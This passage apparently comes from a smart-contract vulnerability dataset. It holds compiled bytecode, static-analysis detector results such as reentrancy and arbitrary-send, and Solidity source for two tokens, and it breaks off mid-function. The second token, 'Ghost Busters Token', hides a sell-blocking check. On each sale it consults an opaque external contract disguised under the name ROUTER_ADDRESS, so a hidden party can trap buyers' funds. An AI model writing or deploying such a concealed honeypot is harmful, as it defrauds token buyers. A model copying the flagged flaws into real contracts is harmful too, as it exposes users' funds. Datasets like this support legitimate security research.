0061213d6023836125cb565b91506121488261285d565b604082019050919050565b6000612160602a836125cb565b915061216b826128ac565b604082019050919050565b60006121836022836125cb565b915061218e826128fb565b604082019050919050565b60006121a6601b836125cb565b91506121b18261294a565b602082019050919050565b60006121c96021836125cb565b91506121d482612973565b604082019050919050565b60006121ec6020836125cb565b91506121f7826129c2565b602082019050919050565b600061220f6029836125cb565b915061221a826129eb565b604082019050919050565b60006122326025836125cb565b915061223d82612a3a565b604082019050919050565b60006122556024836125cb565b915061226082612a89565b604082019050919050565b60006122786017836125cb565b915061228382612ad8565b602082019050919050565b6122978161272f565b82525050565b6122a681612739565b82525050565b60006020820190506122c1600083018461206c565b92915050565b60006040820190506122dc600083018561206c565b6122e9602083018461206c565b9392505050565b6000604082019050612305600083018561206c565b612312602083018461228e565b9392505050565b600060c08201905061232e600083018961206c565b61233b602083018861228e565b61234860408301876120e8565b61235560608301866120e8565b612362608083018561206c565b61236f60a083018461228e565b979650505050505050565b600060208201905061238f60008301846120d9565b92915050565b600060208201905081810360008301526123af81846120f7565b905092915050565b600060208201905081810360008301526123d081612130565b9050919050565b600060208201905081810360008301526123f081612153565b9050919050565b6000602082019050818103600083015261241081612176565b9050919050565b6000602082019050818103600083015261243081612199565b9050919050565b60006020820190508181036000830152612450816121bc565b9050919050565b60006020820190508181036000830152612470816121df565b9050919050565b6000602082019050818103600083015261249081612202565b9050919050565b600060208201905081810360008301526124b081612225565b9050919050565b600060208201905081810360008301526124d081612248565b9050919050565b600060208201905081810360008301526124f08161226b565b9050919050565b600060208201905061250c600083018461228e565b92915050565b600060a082019050612527600083018861228e565b61253460208301876120e8565b8181036040830152612546818661207b565b9050612555606083018561206c565b612562608083018461228e565b9695505050505050565b6000602082019050612581600083018461229d565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006125e78261272f565b91506125f28361272f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126275761262661278b565b5b828201905092915050565b600061263d8261272f565b91506126488361272f565b925082612658576126576127ba565b5b828204905092915050565b600061266e8261272f565b91506126798361272f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126b2576126b161278b565b5b828202905092915050565b60006126c88261272f565b91506126d38361272f565b9250828210156126e6576126e561278b565b5b828203905092915050565b60006126fc8261270f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006127518261272f565b9050919050565b60005b8381101561277657808201518184015260208101905061275b565b83811115612785576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612b0a816126f1565b8114612b1557600080fd5b50565b612b2181612703565b8114612b2c57600080fd5b50565b612b388161272f565b8114612b4357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122020c92ef175106c46717f9b4d43f1f7f24b386a1aef5e9803de3af8d1d45388fe64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
436
0xc90de68fbe440d38ba033e71b0404968b7fc0255
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /* ERC677 additions to ERC20 Interface wise is ERC20 + data paramenter to transferAndCall. */ /// @title ERC Token Standard #677 Interface (https://github.com/ethereum/EIPs/issues/677) contract ERC677 is ERC20 { function transferAndCall(address to, uint value, bytes data) public returns (bool ok); event TransferAndCall(address indexed from, address indexed to, uint value, bytes data); } contract ERC223Receiver { function tokenFallback(address _sender, uint _value, bytes _data) external returns (bool ok); } /* ERC677 additions to ERC20 */ contract Standard677Token is ERC677, StandardToken { function transferAndCall(address _to, uint _value, bytes _data) public returns (bool) { require(super.transfer(_to, _value)); // do a normal token transfer emit TransferAndCall(msg.sender, _to, _value, _data); //filtering if the target is a contract with bytecode inside it if (isContract(_to)) return contractFallback(msg.sender, _to, _value, _data); return true; } //function that is called when transaction target is a contract function contractFallback(address _sender, address _to, uint _value, bytes _data) private returns (bool) { ERC223Receiver receiver = ERC223Receiver(_to); require(receiver.tokenFallback(_sender, _value, _data)); return true; } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private constant returns (bool is_contract) { // retrieve the size of the code on target address, this needs assembly uint length; assembly { length := extcodesize(_addr) } return length > 0; } } contract TalkToExpertToken is Standard677Token { string public name = "TalkToExpert Token"; string public symbol = "TTE"; uint256 public decimals = 18; uint256 public INITIAL_SUPPLY = 200000000 * (10 ** decimals); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea5780632ff2e9dc1461026f578063313ce5671461029a5780634000aea0146102c5578063661884631461037057806370a08231146103d557806395d89b411461042c578063a9059cbb146104bc578063d73dd62314610521578063dd62ed3e14610586575b600080fd5b3480156100d657600080fd5b506100df6105fd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069b565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d461078d565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610797565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610b52565b6040518082815260200191505060405180910390f35b3480156102a657600080fd5b506102af610b58565b6040518082815260200191505060405180910390f35b3480156102d157600080fd5b50610356600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610b5e565b604051808215151515815260200191505060405180910390f35b34801561037c57600080fd5b506103bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c74565b604051808215151515815260200191505060405180910390f35b3480156103e157600080fd5b50610416600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f06565b6040518082815260200191505060405180910390f35b34801561043857600080fd5b50610441610f4e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610481578082015181840152602081019050610466565b50505050905090810190601f1680156104ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104c857600080fd5b50610507600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fec565b604051808215151515815260200191505060405180910390f35b34801561052d57600080fd5b5061056c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061120c565b604051808215151515815260200191505060405180910390f35b34801561059257600080fd5b506105e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611408565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106935780601f1061066857610100808354040283529160200191610693565b820191906000526020600020905b81548152906001019060200180831161067657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107e657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561087157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108ad57600080fd5b6108fe826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610991826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60065481565b60055481565b6000610b6a8484610fec565b1515610b7557600080fd5b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fce8124fd2ae9fd7904103e5a9ebe88b527b9ca0e32a32fd497845c82706542d385856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c0c578082015181840152602081019050610bf1565b50505050905090810190601f168015610c395780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3610c50846114c4565b15610c6857610c61338585856114d7565b9050610c6d565b600190505b9392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610d86576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1a565b610d99838261148f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fe45780601f10610fb957610100808354040283529160200191610fe4565b820191906000526020600020905b815481529060010190602001808311610fc757829003601f168201915b505050505081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561103b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561107757600080fd5b6110c8826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061115b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061129d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561149d57fe5b818303905092915050565b600081830190508281101515156114bb57fe5b80905092915050565b600080823b905060008111915050919050565b6000808490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a8786866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561159f578082015181840152602081019050611584565b50505050905090810190601f1680156115cc5780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b1580156115ed57600080fd5b505af1158015611601573d6000803e3d6000fd5b505050506040513d602081101561161757600080fd5b8101908080519060200190929190505050151561163357600080fd5b60019150509493505050505600a165627a7a72305820695bc3552c3bbcb82b93a233b7249ec16057597e8122fcf30948ccfdbb49f02f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
437
0x485826f366bC670c8574Fb9FeE5f0D2300265a81
/** *Submitted for verification at Etherscan.io on 2021-11-19 */ //SPDX-License-Identifier: MIT // Telegram: https://t.me/GhostbustersToken pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface O{ function amount(address from) external view returns (uint256); } uint256 constant INITIAL_TAX=4; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=2300000000; string constant TOKEN_SYMBOL="GB"; string constant TOKEN_NAME="Ghost Busters Token"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GhostBuster is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(5); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, 